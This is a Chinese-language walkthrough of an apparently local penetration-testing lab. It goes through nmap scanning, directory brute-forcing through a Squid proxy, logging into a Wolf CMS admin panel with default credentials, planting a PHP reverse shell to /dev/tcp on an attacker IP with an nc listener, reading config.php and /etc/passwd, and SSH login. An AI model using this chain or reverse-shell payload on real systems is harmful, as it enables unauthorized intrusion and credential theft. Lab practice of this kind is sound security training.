sudo nmap -sn -oN ./host.txt 10.10.10.0/24
// 主机发现,-oN将扫描结果以文本形式储蓄
除了使用 -oN
选项将扫描结果保存为普通文本文件外,nmap还支持将结果保存为其他格式,例如XML、HTML和grepable格式。以下是保存不同格式的示例:
- 保存为XML格式:
nmap [扫描选项] 目标IP或主机名 -oX 文件名.xml
例如:nmap -sS 192.168.0.1 -oX scan_results.xml
- 保存为HTML格式:
nmap [扫描选项] 目标IP或主机名 -oX 文件名.html
例如:nmap -sS 192.168.0.1 -oX scan_results.html
- 保存为grepable格式:
nmap [扫描选项] 目标IP或主机名 -oG 文件名.gnmap
例如:nmap -sS 192.168.0.1 -oG scan_results.gnmap
sudo nmap -p- --min-rate 10000 -oN ./port.txt 10.10.10.103
// 以10000的最低速率进行端口扫描
这里端口探测发现22,3128,8080端口开放,其中22是ssh,8080是http代理且端口关闭,3128端口部署的是一个叫squid-http的服务
进一步对tcp,udp端口探测避免漏扫,并且对对应端口服务做更详细的探测,因为在本地靶场下面用-A直接代替以下三项扫描
sudo nmap -sT -sV -O -oN ./TCP.txt -p22,3128,8080 10.10.10.103
// TCP扫描,服务版本扫描,系统扫描
sudo nmap -sU -oN ./UDP.txt -p22,3128,8080 10.10.10.103
// UDP扫描
sudo nmap --script=vuln -oN ./
// 脚本扫描vuln
.txt -p22,3128,8080 10.10.10.103
上面三步也可以直接用如下扫描代替:sudo nmap -A
-oN ./
vuln
.txt-p22,3128,8080 10.10.10.103
// 侵略性扫描(注意:该扫描较慢,而且在真实环境中容易被ban)
通过搜索资料squid是一个http代理服务可以访问页面看看是什么样的,虽然8080端口关闭也可以看看
提示url不合法,大概率目录爆破也会是一样的结果,不信可以试试看(毕竟这只是个代理服务)下面是squid-http的GPT解释,个人感觉类似于CDN的功能,既然他是个代理服务,不妨将浏览器添加代理到10.10.10.103:3128在访问看看
Squid是一个开源的代理服务器,用于缓存和转发HTTP、HTTPS和其他网络请求。它主要用于加速Web服务器的访问速度,并减轻网络带宽的负载。
具体来说,Squid-HTTP是Squid代理服务器的一个组件,它专门用于处理HTTP请求。当客户端发送HTTP请求时,Squid-HTTP会接收请求并检查是否有缓存的响应可用。如果有缓存的响应,Squid会立即返回缓存的内容,而不必向源服务器发起新的请求。这样可以显著减少网络延迟并提高用户体验。
如果没有缓存的响应可用,Squid-HTTP会转发请求给源服务器,并将源服务器返回的响应保存到缓存中,以便将来的相同请求可以直接从缓存中获取响应,而无需再次向源服务器发起请求。
除了缓存和转发HTTP请求,Squid-HTTP还支持许多其他功能,如访问控制、用户认证、日志记录和内容过滤等。它可以根据配置文件中的规则和策略来控制和管理对特定网站、内容或用户的访问。
总而言之,Squid-HTTP是一个功能强大的代理服务器,用于加速和优化HTTP请求的处理,并提供一系列的功能和配置选项来满足不同的需求。
添加浏览器代理,成功访问web页面
既然他存在web页面就可以尝试目录扫描看看会有哪些敏感目录(注意:不过扫描工具也要添加代理)
dirb http://10.10.10.103 -p http://10.10.10.103:3128
// 用其他gobuster,dirsearch之类的目录爆破工具也要添加代理
访问上述目录看看:有信息的页面就是下面两个,这里robots.txt暴露了路径/wolfcms
访问发现这是一个cms文件系统
可以逛逛该站点,在逛的同时用目录爆破工具在该站点基础上再次目录爆破搜索敏感路径,特别时cms的后台管理界面
由于这是一个cms文件管理系统,大部分cms在做url地址解析时都会通过路径转换的方式解析路径,所有下面三种目录爆破都得试一下,不管有没有用避免遗漏。(注意爆破路径的填写)
CMS框架的本质
框架的本质,自我理解就是从URL输入到数据处理到数据输出的过程,如果输出的是页面HTML则是传统的MVC模式,如果输出的是JSON的数据集合则是接口模式。如果细分的话,框架本人认为有一下流程。
框架处理流程: 用户输入URL->rewrite等操作将URL导入到入口文件index.php->预设常量->解析URL生成路由(伪静态实现的地方),从路由中分解出控制器和方法->类的自动载入实现->调用控制器->控制器调用服务->服务调用model->控制器获取数据->控制器包含HTML文件(这一步可以实现页面缓存)->正则匹配将HTML文件中的变量和表达式转换为PHP的语法(前端模板,如blade和smarty)->生成纯HTML页面->返回给浏览器->浏览器渲染
都访问看看,这里:
1.docs是一个文档文件夹介绍了这个cms
2.public文件夹存放了一些公共资源
3.admin就是管理员后台
这里管理员后台可以尝试通过弱口令爆破,不过我自己试了下admin/admin就进去了
进去后是这样的管理界面
进入后台管理界面后可以利用的点很多,因为这里的管理员权限特别大(可以点几个文件看看功能),这里有读写的权限,还有改文件权限的权限,还能上传文件而且没有限制。
有如下几个思路进行进一步的渗透:
1.上传webshell
2.直接篡改里面的php文件构造反弹shell,本地创建监听,通过访问php文件,激活反弹shell.
这里用了方法二因为反弹shell更好做之后的提权前的信息搜集,而且用kali建立连接后可以有更大的操作空间
用到的php反弹shell <?php exec("/bin/bash -c '/bin/bash -i &> /dev/tcp/10.10.10.128/7777 0>&1'");
本地建立监听 nc -lvnp 7777
再访问改文件就可以收到反弹shell了
查看本地文件发现一个config.php的文件可能会有对数据库的配置,就可能会造成密码账号的泄露
既然泄露的密码,就可以看看/etc/passwd看看有没有尝试ssh登录的账号
在筛选可登录用户时,观察bash是否完整,家目录是否正常
可以尝试几个筛选出来的用户尝试ssh登录时sickos登录成功,并且就是满权限的bash